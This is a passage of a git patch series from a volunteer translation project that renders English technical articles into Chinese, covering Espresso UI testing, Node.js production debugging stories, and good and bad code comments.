-To write tests for these two cases, you can start by asserting that the correct information is displayed using standard Espresso ViewMatchers and ViewAssertions:
+要为这两种情况编写测试，你可以先从使用标准的 Espresso ViewMatchers 和 ViewAssertions
+ 语句断言是否显示正确的信息开始：
 
 ```
 @Test
@@ -148,7 +154,7 @@ public void titleSetToMovieName() {
 }
 ```
 
-Next, you should make sure that the user actions correspond to the correct event being fired, with the correct arguments:
+接着，你应该确保用户的操作触发了正确的点击事件，并且具有正确的参数：
 
 ```
 @Test
@@ -161,9 +167,10 @@ public void clickMovieItemView() {
 }
 ```
 
-That's it, I hope you find this useful.
+到这里就完成了，希望这些知识对你有用。
 
-In a future post, I'll cover using Espresso to test your Views for TalkBack support.
+在接下来的文章里，我会介绍如何使用 Espresso 测试视图时支持 TalkBack 服务（译者注：Talkback
+ 是一款由谷歌官方开发的系统工具软件，它的定位是帮助盲人或者有视力障碍的用户提供语言辅助）。
 
 ---
 

From 6013cedcafe9d64c6604b3e130757bf8e8398ce1 Mon Sep 17 00:00:00 2001
From: AngryD <yazhi1992@163.com>
Date: Sun, 23 Apr 2017 14:46:38 +0800
Subject: [PATCH 230/638] Update testing-views-in-isolation-with-espresso.md

---
 TODO/testing-views-in-isolation-with-espresso.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/TODO/testing-views-in-isolation-with-espresso.md b/TODO/testing-views-in-isolation-with-espresso.md
index 107c6c64854..77dde884ee5 100644
--- a/TODO/testing-views-in-isolation-with-espresso.md
+++ b/TODO/testing-views-in-isolation-with-espresso.md
@@ -16,7 +16,7 @@
 
 这很困难，因为这些类型的测试包含了多个潜在的故障点。理论上来说，当某个测试失败时，你会希望它是由于单个逻辑断言而导致的。
 
-大多数（或者说很多）被引入的问题是出现在UI中的。这些问题很可能是十分细微的，以至于我们在添加新特性时并不会注意到，但是敏锐的 QA 团队往往可以。
+大多数（或者说很多）被引入的问题是出现在 UI 中的。这些问题很可能是十分细微的，以至于我们在添加新特性时并不会注意到，但是敏锐的 QA 团队却往往可以。
 
 这样就浪费太多时间了。
 
@@ -47,16 +47,16 @@ public class MovieItemView extends RelativeLayout {
 }
 ```
 
-他们将 UI 的逻辑部分组合在一起，并且通常包含来自业务领域的命名规范。在
+他们将 UI 的逻辑部分组合在一起，并且通常还包含来自业务领域的命名规范。在
  Novoda 的页面布局中你很少会看到“原始”的 Android 视图。
 
-让我们使用 BDD 风格来编写这些视图测试（译者注：BDD（Behaviour Driven Development）是TDD的一种， 倾向于断言被测对象的行为特征而非输入输出），比如“给定的 MovieItemView 被绑定到 Edward Scissorhands 上，然后标题就被设置成 Edward Scissorhands”或者“给定的 MovieItemView 被绑定到 Edward Scissorhands 上，当点击视图时，onClick(Edward Scissorhands) 就会被调用”，等等。
+让我们使用 BDD 风格来编写这些视图测试（译者注：BDD（Behaviour Driven Development）是TDD的一种，倾向于断言被测对象的行为特征而非输入输出），比如“给定的 MovieItemView 被绑定到 Edward Scissorhands 上，然后标题就被设置成 Edward Scissorhands”或者“给定的 MovieItemView 被绑定到 Edward Scissorhands 上，当点击视图时，onClick(Edward Scissorhands) 就会被调用”，等等。
 
 ## 难道不能使用单元测试来捕获这些问题吗？ ##
 
-如果你使用了 MVP 或者 MVVM 等表现模式，为什么还需要 Espresso 来运行这些测试呢？为何不直接使用单元测试？
+如果使用了 MVP 或者 MVVM 等表现模式，为什么还需要 Espresso 来运行这些测试呢？为何不直接使用单元测试？
 
-首先，让我们来看一下展示信息的流程并且描述一下目前测试所能做的事情，然后再看看使用 Espresso 测试能多做些什么。
+首先，让我们来看一下展示信息的流程并且描述一下目前所能做的测试，然后再看看使用 Espresso 测试能多做些什么。
 
 - Presenters 订阅发送事件的数据生成器
 
@@ -66,7 +66,7 @@ public class MovieItemView extends RelativeLayout {
 
 - displayers 的具体实现将显示/隐藏 Android 视图，并执行诸如`moviesView.bind（List <Movie>） `之类的操作
 
-您可以对 presenters 进行单元测试，验证是否调用了 displayers 正确的方法并且带有正确的参数。
+你可以对 presenters 进行单元测试，验证是否调用了 displayers 正确的方法并且带有正确的参数。
 
 你可以用相同的方式测试 displayers 吗？是的，你是可以模拟 Android 视图，并验证是否调用了正确的方法。但它不会是正确的粒度：
 

From 216a141b8eb1322341ef469574971773f1056e45 Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Sun, 23 Apr 2017 14:56:09 +0800
Subject: [PATCH 231/638] modify

---
 ...ar-stories-solving-issues-in-production.md | 70 +++++++++----------
 1 file changed, 35 insertions(+), 35 deletions(-)

diff --git a/TODO/node-js-war-stories-solving-issues-in-production.md b/TODO/node-js-war-stories-solving-issues-in-production.md
index 758a9c3309b..bd75a618667 100644
--- a/TODO/node-js-war-stories-solving-issues-in-production.md
+++ b/TODO/node-js-war-stories-solving-issues-in-production.md
@@ -4,97 +4,97 @@
 > * 译者：[mnikn](https://github.com/mnikn)
 > * 校对者：
 
-# Node.js 之战: 在开发时调试错误 #
+# Node.js 之战: 在生产环境中调试错误 #
 
-在这篇文章,**你会了解到 Netflix,RisingStack 和 nearForm 在上线时遇到 Node.js 错误的故事** - 因此你可以此为鉴，避免犯上同样的错误。同时你将会学到如何调试 Node.js 的错误。
+在这篇文章,**这篇文章讲述了 Netflix、RisingStack 和 nearForm 在生产环境中遇到 Node.js 错误的故事** - 因此你可以此为鉴，避免犯上同样的错误。同时你将会学到如何调试 Node.js 的错误。
 
-*来自 Netflix 的 Yunong Xiao，来自 Strongloop 的 NearForm 和来自 Shubhra Kar 的 Matteo Collina亲自讲述的故事，让我们阅读这篇文章，从他们的见解中学习！*
+*感谢来自 Netflix 的 Yunong Xiao、来自 Strongloop 的 NearForm 和来自 Shubhra Kar 的 Matteo Collina 对这篇文章的见解与帮助。*
 
-在 RisingStack,过去4年里我们从开发的 Node 应用中积累了许多经验 -  感谢 [Node.js 咨询, 学习和开发](https://risingstack.com/) 的开发工作。
+过去4年里，我们在 RisingStack 的生产环境中运行 Node 应用，积累了许多相关经验 -  感谢 [Node.js 咨询, 学习和开发](https://risingstack.com/) 的业务支持。
 
-Netflix 和 nearForm 的 Node 开发团队都一样，我们都有把调试过程记录下来的习惯,因此整个开发团队 (现在是整个世界的开发团队) 都可以从我们的错误中学习。 
+Netflix 和 nearForm 的 Node 开发团队都一样，我们都有把调试过程记录下来的习惯，因此整个开发团队 (现在是全世界的开发团队) 都可以从我们的错误中学习。 
 
 ## Netflix 与 Node 调试: 了解你的依赖库 ##
 
 **让我们慢慢阅读我们的朋友 Yunong Xiao 在 Netflix 发生的故事。**
 
-问题发生在当 Netflix 的开发团队发现他们的应用的响应时间在逐渐变长 - 他们部分终端的传输时间每小时加长10ms。 
+Netflix 的开发团队发现他们的应用的响应时间在逐渐变长 - 他们部分终端的延迟每小时增加 10 ms。 
 
-这同时反映在上升的 CPU 使用率当中。
+同时，CPU 使用率的上升也反映了问题的存在。
 
 ![Netflix debugging Nodejs in production with the Request latency graph](https://blog-assets.risingstack.com/2017/04/Netflix-debugging-Nodejs-in-production---Request-latency-graph.png)
 
 *不同时间段请求的传输时间 - 图片来源: Netflix*
 
-一开始，他们调查是否是 request handler 造成其响应时间变慢。 
+一开始，他们调查是否是 request handler 造成其响应时间变长。 
 
-**在隔离测试后,他们发现 request handler 的响应时间稳定在1ms左右。**
+**在隔离测试后,他们发现 request handler 的响应时间稳定在 1 ms 左右。**
 
-所以问题并不是这个, 他们开始怀疑到底层，是不是栈出现了问题。
+所以问题并不是这个，他们开始怀疑到底层，是不是栈出现了问题。
 
-接下来 Yunong 和 Netflix 开发团队的尝试是这个 [CPU 火舌图](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) 和 Linux [性能事件](https://perf.wiki.kernel.org/index.php/Main_Page).
+接下来 Yunong 和 Netflix 开发团队的尝试是这个 [CPU 火焰图](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) 和 Linux [性能事件](https://perf.wiki.kernel.org/index.php/Main_Page).
 
 ![Flame graph of Netflix Nodejs slowdown](https://blog-assets.risingstack.com/2017/04/Flame-graph-of-Netflix-Nodejs-slowdown.png)
 
-*火舌图，或许是 Netflix 速度变慢的原因 - 图片来源: Netflix*
+*火焰图反映了 Netflix 的响应速度正在变慢 - 图片来源: Netflix*
 
-**你可以从火舌图中看到的东西是**
+**你可以从火焰图中看到的东西是**
 
-- 它有一些挺高的栈 *(这代表有许多函数被调用)*
-- 并且一些矩形很宽 *(代表我们在这些函数中耗费了一些时间)*.
+- 它有一些很高的栈 *（这代表有许多函数被调用）*
+- 并且一些矩形很宽 *（代表我们在这些函数中耗费了一些时间）*.
 
 经过深入调查，开发团队发现Express的 `router.handle` 和 `router.handle.next` 有许多引用。
 
 > Express.js 的源代码揭示了一系列有趣的事情：
 > 
-> - 所有终端的Route handlers 都储存在一个全局数组中。
+> - 所有终端的 Route handlers 都储存在一个全局数组中。
 > - Express.js 递归地遍历并唤醒所有 handlers 直到它找到合适的 route handler。
 
 **在揭示谜题的解决方案前，我们需要知道更多的细节：**
 
-Netflix 的基层代码包含了每6分钟运行的定时代码，从拓展资源中抓取新的路由配置信息，更新应用的 route handlers 从而响应改变的信息。
+Netflix 的底层代码包含了每6分钟运行的定时代码，从拓展资源中抓取新的路由配置信息，更新应用的 route handlers 从而响应改变的信息。
 
-这些是通过删除并添加新的 handlers 来实现的。意外的是，同时它再一次添加了相同的静态 handler - 甚至是以前的 API route handlers。**这造成的结果是，响应时间额外增加了10ms。**
+这些是通过删除并添加新的 handlers 来实现的。意外的是，同时它再一次添加了相同的静态 handler - 甚至是以前的 API route handlers。**这造成的结果是，响应时间额外增加了 10 ms。**
 
 ### 从 Netflix 的错误中获取的教训 ###
 
-- **一定要了解你的依赖库** - 首先，你必须在使用它们进行开发之前，彻底地了解它们。
-- **可观察性是关键** - 火舌图帮助 Netflix 工程团队解决了问题。
+- **一定要了解你的依赖库** - 首先，你必须在生产环境中使用它们之前，彻底地了解它们。
+- **可观察性是关键** - 火焰图帮助 Netflix 工程团队解决了问题。
 
-> 从这里阅读整个故事: [战火中的 Node.js](http://techblog.netflix.com/2014/11/nodejs-in-flames.html)。
+> 从这里阅读整个故事: [火焰图中的 Node.js](http://techblog.netflix.com/2014/11/nodejs-in-flames.html)。
 
 #### 当你最需要帮助时候的专家指引####
 
 ##### 商业化 Node.js，由 RisingStack 提供#####
 [了解更多](https://risingstack.com/nodejs-support?utm_source=rsblog&amp;utm_medium=roadblock-new&amp;utm_campaign=trace&amp;utm_content=/node-js-war-stories-solving-issues-in-production-2/) 
 
-## RisingStack CTO: "隐藏信息是要花时间的" ##
+## RisingStack CTO: "加密是要花时间的" ##
 
-你可能已经听过我们的故事 [分离整体](https://www.youtube.com/watch?v=k9QZ4oIOHnk)，我们的 CTO Peter Marton 把 [Trace *(我们的 Node.js 监控系统)*](https://trace.risingstack.com) 分离成多个微服务模块。
+你可能已经听过我们的故事 [拆分单体式应用的故事](https://www.youtube.com/watch?v=k9QZ4oIOHnk)，我们的 CTO Peter Marton 把 [Trace *(我们的 Node.js 监控系统)*](https://trace.risingstack.com) 分离成多个微服务模块。
 
 **我们现在讨论的错误是 Trace 开发时的响应速度变慢：**
 
-作为一个在 PaaS 运行的 早期 Trace 版本，它通过公共云来与我们的其他服务连接。
+作为一个在 PaaS 运行的 早期 Trace 版本，它通过公共云来与我们的其他服务通信。
 
-为了确保我们的请求是完整的，我们决定对所有请求进行签名。为了实现这个，我们看了 Joyent 的 [HTTP signing library](https://github.com/joyent/node-http-signature)。很棒的是，[request](https://www.npmjs.com/package/request) 这一模块支持框架外的Http签名。
+为了确保我们的请求是完整的，我们决定对所有请求进行签名。为了实现这个，我们看了 Joyent 的 [HTTP signing library](https://github.com/joyent/node-http-signature)。很棒的是，[request](https://www.npmjs.com/package/request) 这一模块支持开箱即用的Http签名。
 
 **解决方案代价不仅很大，而且会对我们的响应速度造成不好的影响。**
 
 ![network delay in nodejs request visualized by trace](https://blog-assets.risingstack.com/2017/04/network-delay-in-nodejs-request-visualized-by-trace.png)
 
-*我们响应速度的网络延迟 - 图片来源: Trace*
+*网络延迟增加了我们的响应时间 - 图片来源: Trace*
 
-从图中可看到，所给定的终端响应速度为180ms，然而对于总体来说，**单独两个服务的网络延迟只是100ms **。
+从图中可看到，所给定的终端响应速度为 180 ms，然而对于总体来说，**单独两个服务的网络延迟只是 100 ms**。
 
 一开始，我们 [用 Kubernetes 转移 PaaS provider](/moving-node-js-from-paas-to-kubernetes-tutorial/)。我们希望响应速度会快一点，这样内部网络就会平衡。
 
 > 我们的方法奏效了 - 终端的响应速度提高了。
 
-然而，我们想要更好的结果 - 大幅度降低 CPU 的使用率。下一步是分析 CPU 的使用情况，就像 Netflix 的人们做的一样:
+然而，我们想要更好的结果 - 大幅度降低 CPU 的使用率。下一步是分析 CPU 的使用情况，就像 Netflix 的人们做的一样：
 
 ![crypto sign function taking up cpu time](https://blog-assets.risingstack.com/2017/04/crypto-sign-function-taking-up-cpu-time.png)
 
-从截图可以看出，`crypto.sign` 函数消耗的 CPU 时间最多,每次请求花费10ms。为了解决这个问题，你有两种选择：
+从截图可以看出，`crypto.sign` 函数消耗的 CPU 时间最多,每次请求花费 10 ms。为了解决这个问题，你有两种选择：
 
 - 如果你在可信任的环境中运行应用，你可以去除请求签名，
 - 如果你在不可信的环境中运行，你可以升级你的机器让它拥有更强大的 CPU。
@@ -102,7 +102,7 @@ Netflix 的基层代码包含了每6分钟运行的定时代码，从拓展资
 ### 从 Peter Marton 中获取的教训  ###
 
 - **服务之间的终端信息传输会对用户体验有巨大的影响** - 尽可能的平衡内部网络。
-- **隐藏信息可能会消耗大量时间**。
+- **加密可能会消耗大量时间**。
 
 ## nearForm: 不要堵塞 Node.js 的事件循环 ##
 
@@ -114,11 +114,11 @@ Netflix 的基层代码包含了每6分钟运行的定时代码，从拓展资
 
 结果就是，**服务器可能会毫无反应** - 当请求堆积起来，会把所有的负担都堆在 CPU 上。
 
-更糟的是即使请求的客服端已经消失，请求仍然会被处理 - 仍然会对 Node.js 应用造成负担，nearForm  对此有解释 [Matteo Collina](https://github.com/mcollina)。
+更糟的是即使请求端已经关闭，请求仍然会被处理 - 仍然会对 Node.js 应用造成负担，nearForm  对此有解释 [Matteo Collina](https://github.com/mcollina)。
 
 **不仅是 React，大多数字符串操作也会这样。** 如果你在构建 JSON REST APIs，你应该花心思在 `JSON.parse` 和 `JSON.stringify`。
 
-Strongloop(现在是 Joyent) 的 Shubhra Kar 对此解释是，解析和转化成 JSON 字符串的等消耗巨大的操作也会消耗大量时间 *(同时在这期间会堵塞事件循环)*。
+Strongloop(现在是 Joyent) 的 Shubhra Kar 对此解释是，解析和转化成 JSON 字符串的等消耗巨大的操作也会消耗大量时间 *（同时在这期间会堵塞事件循环）*。
 
 ```
 functionrequestHandler(req, res) {  
@@ -141,7 +141,7 @@ functionrequestHandler(req, res) {
 
 为了缓解这个问题，首先你要了解它们。为此，你可以用 Matteo 的 [loopbench](https://github.com/mcollina/loopbench) 模块，或者 [Trace](https://trace.risingstack.com) 的事件循环度量功能。
 
-通过 `loopbench`，如果请求没有被实现，你可以返回状态码503给负载平衡器。为了启用这项功能，你要使用选项 `instance.overLimit`。这样 ELB 或者 NGINX 可以在不同的后端中重试，这样请求有可能会被处理。
+通过 `loopbench`，如果请求没有被实现，你可以返回状态码 503 给负载平衡器。为了启用这项功能，你要使用选项 `instance.overLimit`。这样 ELB 或者 NGINX 可以在不同的后端中重试，这样请求有可能会被处理。
 
 一旦你了解这个问题并理解它，你就能开始修正它 - 你可以通过平衡 Node.js 流或者改变正在使用的架构来进行修正。
 
@@ -150,9 +150,9 @@ functionrequestHandler(req, res) {
 - **总要留心对 CPU 负担大的操作** - 这类的操作越多，在你的事件循环里对 CPU 造成的压力越大。
 - **字符串操作会对 CPU 造成巨大负担**
 
-## 在开发时调试 Node.js 错误 ##
+## 在生产环境中调试 Node.js 错误 ##
 
-我希望 Netflix，RisingStack 和 nearForm 的例子会对你开发时调试 Node.js 应用有帮助。
+我希望 Netflix、RisingStack 和 nearForm 的例子会对你在生产环境中调试 Node.js 应用有帮助。
 
 如果你想要了解更多，我建议看下最近这些文章，它们会加深你的 Node 知识：
 

From d232299d63ec76e583f20d4e90a0c5db7459cf95 Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Sun, 23 Apr 2017 15:04:50 +0800
Subject: [PATCH 232/638] add reviewer

---
 TODO/node-js-war-stories-solving-issues-in-production.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/node-js-war-stories-solving-issues-in-production.md b/TODO/node-js-war-stories-solving-issues-in-production.md
index bd75a618667..bbc9973023d 100644
--- a/TODO/node-js-war-stories-solving-issues-in-production.md
+++ b/TODO/node-js-war-stories-solving-issues-in-production.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Gergely Nemeth](https://blog.risingstack.com/author/gergely/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[mnikn](https://github.com/mnikn)
-> * 校对者：
+> * 校对者：[lsvih](https://github.com/lsvih)、[Aladdin-ADD](https://github.com/Aladdin-ADD)
 
 # Node.js 之战: 在生产环境中调试错误 #
 

From fc8778b38a77dfb34a51cb9a173712b403bf2b95 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sun, 23 Apr 2017 18:19:17 +0800
Subject: [PATCH 233/638] translation completed

---
 ...-comments-the-good-the-bad-and-the-ugly.md | 114 ++++++++++--------
 1 file changed, 63 insertions(+), 51 deletions(-)

diff --git a/TODO/code-comments-the-good-the-bad-and-the-ugly.md b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
index 475f2670f2d..6fed3525650 100644
--- a/TODO/code-comments-the-good-the-bad-and-the-ugly.md
+++ b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
@@ -1,42 +1,43 @@
 > * 原文地址：[Putting comments in code: the good, the bad, and the ugly.](https://medium.freecodecamp.com/code-comments-the-good-the-bad-and-the-ugly-be9cc65fbf83)
 > * 原文作者：[Bill Sourour](https://medium.freecodecamp.com/@BillSourour?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者： [bambooom](https://github.com/bambooom)
 > * 校对者：
 
-# Putting comments in code: the good, the bad, and the ugly. #
+# 代码中添加注释之好坏丑
 
 ![](https://cdn-images-1.medium.com/max/1000/1*ddM-OL7PF36NZ6QYCa95bQ.jpeg) 
 
-Clint Eastwood in
+题图是克林特 · 伊斯特伍德在《黄金三镖客》中。
 
-Stop me if you’ve heard this one before…
 
-> “Good code is self-documenting.”
+如果你以前听过这句话就打断我...
 
-In 20+ years of writing code for a living, this is the one phrase I’ve heard the most.
+> 「好的代码自身就是文档」。
 
-It’s *cliché.*
+在我 20 多年以写代码为生的经历中，这是我听得最多的一句话。
 
-And like many clichés, it has a kernel of truth to it. But this truth has been so abused that most people who utter the phrase have no idea what it really means.
+**陈词滥调**。
 
-Is it true? **Yes**.
+像其他许多陈词滥调一样，它的核心是一个真理。但是这个真理已经被滥用，大多数说出这句话的人并不知道它实际上是什么意思。
 
-Does it mean you should never comment your code? **No**.
+这句话正确吗？**是的**。
 
-In this article we’ll look at the good, the bad, and the ugly when it comes to commenting your code.
+那是不是意味着你不应该给你的代码写注释？**不是**。
 
-For starters, there are really two different types of code comments. I call them **documentation comments** and **clarification comments**.
+本文中，我们将介绍一下给代码写注释的好处、坏处和丑处。（？）
 
-### Documentation Comments ###
+初学者需要了解，实际上有两种不同类型的代码注释，我称之为**文档注释**和**说明性注释**。
 
-Documentation comments are intended for anyone who is likely to consume your source code, but not likely to read through it. If you are building a library or framework that other developers will use, you need some form of API documentation.
+### 文档注释 ###
 
-The further removed from the source code your API documentation is, the more likely it is to become outdated or inaccurate over time. A good strategy to mitigate this is to embed the documentation directly into the code and then use a tool to extract it.
+文档注释是为了给任何可能使用你的源代码的人看的，但他们不一定可以完全通读代码。如果你正在构建给其他开发者使用的库或框架，你需要某种形式的 API 文档。
 
-Here’s an example of a documentation comment from a popular JavaScript library called [Lodash](https://lodash.com).
+源代码中 API 文档越少，越有可能变得过时或不准确。减少这种情况的一个好策略就是直接将文档嵌入代码中，之后再使用工具提取文档。
 
-```
+下面是一个文档注释的例子，来自一个流行的 JavaScript 库，叫做 [Lodash](https://lodash.com)。
+
+```javascript
 /**
      * Creates an object composed of keys generated from the results of running
      * each element of `collection` thru `iteratee`. The corresponding value of
@@ -68,23 +69,23 @@ Here’s an example of a documentation comment from a popular JavaScript library
     });
 ```
 
-If you [compare these comments to their online documentation](https://lodash.com/docs/#countBy), you’ll see it’s an exact match.
+如果你[将这些注释与他们的线上文档做对比](https://lodash.com/docs/#countBy)，你会发现它们完全一致。
 
-If you write documentation comments you should ensure that they follow a consistent standard and that they are easily distinguishable from any inline clarification comments you may also want to add. Some popular and well supported standards and tools include [JSDoc](http://usejsdoc.org)  for JavaScript, [DocFx](https://github.com/dotnet/docfx)  for dotNet, and [JavaDoc](http://www.oracle.com/technetwork/java/javase/documentation/index-jsp-135444.html)  for Java.
+如果你开始使用文档注释，则需要确保遵循一致的标准，并且使它们与其他说明性的注释可以轻易区分开。一些广泛使用、有良好支持的标准和工具包括 JavaScript 的 [JSDoc](http://usejsdoc.org)，dotNet 的 [DocFx](https://github.com/dotnet/docfx)，Java 的 [JavaDoc](http://www.oracle.com/technetwork/java/javase/documentation/index-jsp-135444.html)。
 
-The downside of these kinds of comments is that they can make your code very “noisy” and harder to read for anyone who is actively involved in maintaining it. The good news is that most code editors support “code folding” which allows us to collapse the comments so we can focus on the code.
+这种注释的缺点就是使你的代码非常「嘈杂」，并使得积极参与维护的人更难阅读代码。好消息是，大多是代码编辑器都支持「代码折叠」的功能，这样就可以折叠这部分注释，专注在代码上。
 
 ![](https://cdn-images-1.medium.com/max/800/1*o9d-IZKFtlHf4ycY_n4H2Q.gif) 
 
-Collapsing comments with code folding in Visual Studio Code.
+上图演示在 Visual Studio Code 中折叠注释。
 
-### Clarification comments ###
+### 说明性注释 ###
 
-Clarification comments are intended for anyone (including your future self) who may need to maintain, refactor, or extend your code.
+说明性注释是给任何可能需要维护、重构或扩展你的代码的人（包括你自己）看的。
 
-Often, a clarification comment is a code smell. It tells you that your code is too complex. You should strive to remove clarification comments and simplify the code instead because, “good code is self-documenting.”
+通常来说，说明性注释是一种代码警示（？）。它告诉你，你的代码太复杂了。你应该尽量简化代码并删除这种注释，因为「好的代码自身就是文档」。
 
-Here’s an [example](http://stackoverflow.com/a/766363)  of a bad — though very entertaining — clarification comment.
+以下是一个不好的 —— 虽然很有趣 —— 说明性注释的[例子](http://stackoverflow.com/a/766363)。
 
 ```
 /* 
@@ -92,106 +93,117 @@ Here’s an [example](http://stackoverflow.com/a/766363)  of a bad — thoug
  * the braces in cases 
  * where braces in places 
  * cause stasis.
+ * (将大括号替换为空格，如果大括号造成停滞)
 **/ 
 $str = str_replace(array("\{","\}")," ",$str);
 ```
 
-Rather than decorating a slightly confusing statement with a clever rhyme — in *amphibrach dimeter*, no less — the author would have been far better off spending time on a function that makes the code itself easier to read and understand. Maybe a function named, `removeCurlyBraces` called from another function named `sanitizeInput`?
+如果作者不花时间在使用韵脚诗装点这个稍微令人疑惑的代码，肯定可以将代码本身写的更加易读易懂。也许使用函数名，`removeCurlyBraces` 在另一个函数 `sanitizeInput` 中调用？
 
-Don’t get me wrong, there are times — especially when you are slogging through a crushing workload — where injecting a bit of humor can be good for the soul. But when you write a funny comment to make up for bad code, it actually makes people less likely to refactor and fix the code later.
+不要会错意，的确有不少时候 —— 特别当你正在拼命应对繁重的工作时 —— 注入一些幽默对身心都有好处。但是当你写了一个有趣的注释来修饰不好的代码时，实际上人们不太可能稍后重构或修复代码。
 
-Do you really want to be the one responsible for robbing all future coders of the joy of reading that clever little rhyme? Most coders would chuckle and move on, ignoring the code smell.
+你真的想为掠夺所有未来程序员阅读这首聪明的押韵诗的乐趣而负责吗？大多数的程序员会笑起来，而忽略了这段代码本身的问题。
 
-There are also times when you come across a comment that is redundant. If the code is already simple and obvious, there’s no need to add a comment.
+你也会遇到多余的注释。如果代码已经足够简单明了，就不需要再添加注释了。
 
-Like, don’t do this nonsense:
+比如说，不要做下面这种毫无意义的事：
 
 ```
 /*
-set the value of the age integer to 32
+将年龄的整数值设为 32
 */
 int age = 32;
 ```
 
-Still, there are times when no matter what you do to the code itself, a clarification comment is still warranted.
+不过，有时候，无论你对代码本身做了什么，一个说明性注释还是需要的。
 
-Usually this happens when you need to add some context to a non-intuitive solution.
+通常这发生在，你需要添加一些上下文解释非直观的解决方法。
 
-Here’s a good example from Lodash:
+以下是一个来自 Lodash 的很好的例子：
 
-```
+```javascript
 function addSetEntry(set, value) {   
   /* 
    Don't return `set.add` because it's not chainable in IE 11.
+   不要返回 `set.add`，因为它在 IE 11 中不可链接。
   */  
   set.add(value);    
   return set;  
 }
 ```
 
-There are also times when — after a lot of thought and experimentation — it turns out that the seemingly naive solution to a problem is actually the best. In those scenarios it is almost inevitable that some other coder will come around thinking they are much smarter than you are and start messing with the code, only to discover that your way was the best way all along.
+也有一些情况是 ，在经过很多思考和实验后 ，看上去天真的解决方法事实上是最好的。在这些情况下，其他的程序员会不可避免地认为他们更聪明并开始自己动手实践，最后却发现你的方法是最好的。
 
-Sometimes that other coder is your future self.
+有时上面提到的其他程序员就是未来的你自己。
 
-In those cases, it’s best to save everyone the time and embarrassment and leave a comment.
+在这些情况下，最好的做法就是写下注释，节省所有人的时间，避免尴尬。
 
-The [following mock-comment](http://stackoverflow.com/a/482129) captures this scenario perfectly:
+[以下这个注释](http://stackoverflow.com/a/482129)完美地诠释了这种情况：
 
 ```
 /**
 Dear maintainer:
+亲爱的维护者：
 
 Once you are done trying to 'optimize' this routine,
 and have realized what a terrible mistake that was,
 please increment the following counter as a warning
 to the next guy:
+只要你完成了尝试「优化」这部分代码，
+并意识到这是个多么大的错误时，
+请给下面的计数器加一以给下一个人警告：
 
 total_hours_wasted_here = 42
 **/
 ```
 
-Again, the above is more about being funny than being helpful. But you SHOULD leave a comment warning others not to pursue some seemingly obvious “better solution,” if you’ve already tried and rejected it. And when you do, the comment should specify what solution you tried and why you decided against it.
+当然，上面的例子更多是有趣，而不是有帮助。但是你**应该**留下注释，警告其他人不要追求一些看似明显的「更好的解决方法」，因为你已经尝试过并否决了。当你这样做的时候，应该明确指出你尝试了哪些方案，为什么否决了这些方案。
 
-Here’s a simple example in JavaScript:
+以下是一个 JavaScript 中的简单例子：
 
-```
+```javascript
 /* 
 don't use the global isFinite() because it returns true for null values
+不要使用全局 isFinite()，因为它对 null 值会返回 true.
 */
 Number.isFinite(value)
 ```
 
-### The Ugly ###
+### 丑处 ###
 
-So, we’ve looked at the good and the bad, but what about the ugly?
+我们介绍了好处、坏处，那么丑处呢？
 
-Unfortunately, there are times in any job where you’ll find yourself frustrated and when you write code for a living, it can be tempting to vent that frustration in code comments.
+有时候你会感到沮丧，特别当你为谋生而写代码时，在代码注释中你倾向于将这种沮丧的情绪发泄出来。
 
-Work with enough code bases and you’ll come across comments that range from cynical and depressing to dark and mean spirited.
+使用过很多的代码库后，你会见到各种各样愤世嫉俗、沮丧到黑暗或意味深长的注释。
 
-Things like the [seemingly harmless](http://stackoverflow.com/a/185550)…
+像这种[看似无害的东西](http://stackoverflow.com/a/185550)...
 
 ```
 /*
 This code sucks, you know it and I know it.  
 Move on and call me an idiot later.
+这段代码很糟糕，你知道，我也知道。
+继续往前，之后再叫我白痴。
 */
 ```
 
-…to the [downright mean](http://stackoverflow.com/a/184673) 
+...到[彻底的意思？](http://stackoverflow.com/a/184673)
 
 ```
 /* 
 Class used to workaround Richard being a f***ing idiot
+这部分以前是 Richard 的工作，他是个白痴
 */
 ```
 
-These things may seem funny or may help release a bit of frustration in the moment, but when they make it into production code they end up making the coder who wrote them and their employer look unprofessional and bitter.
+这些可能看起来很有趣，或者在当时帮助你发泄了一部分情绪。但是当你把它们变成生产环境代码时，它们使得编写它们的程序员以及他们的雇主看起来不专业和苦大仇深似的。
+
+不要这么做。
 
-Don't do this.
 
+如果你喜欢这篇文章，请在这篇文章下方戳一下 ❤ 点个赞，帮助我传播。如果你想阅读更多其他的文章，欢迎登记订阅我每周的 Dev Mastery 简报。
 
-If you enjoyed this article, please tap that little ❤ heart ❤ at the bottom of this post to help spread the word. And if you want to read more stuff like this, please sign up for my weekly Dev Mastery newsletter below.
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 7fd791024d22a148ebc296869455525e71f35f06 Mon Sep 17 00:00:00 2001
From: rottenpen <522876037@qq.com>
Date: Sun, 23 Apr 2017 18:28:47 +0800
Subject: [PATCH 234/638] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/function-as-child-components.md | 99 ++++++++++++++--------------
 1 file changed, 49 insertions(+), 50 deletions(-)

diff --git a/TODO/function-as-child-components.md b/TODO/function-as-child-components.md
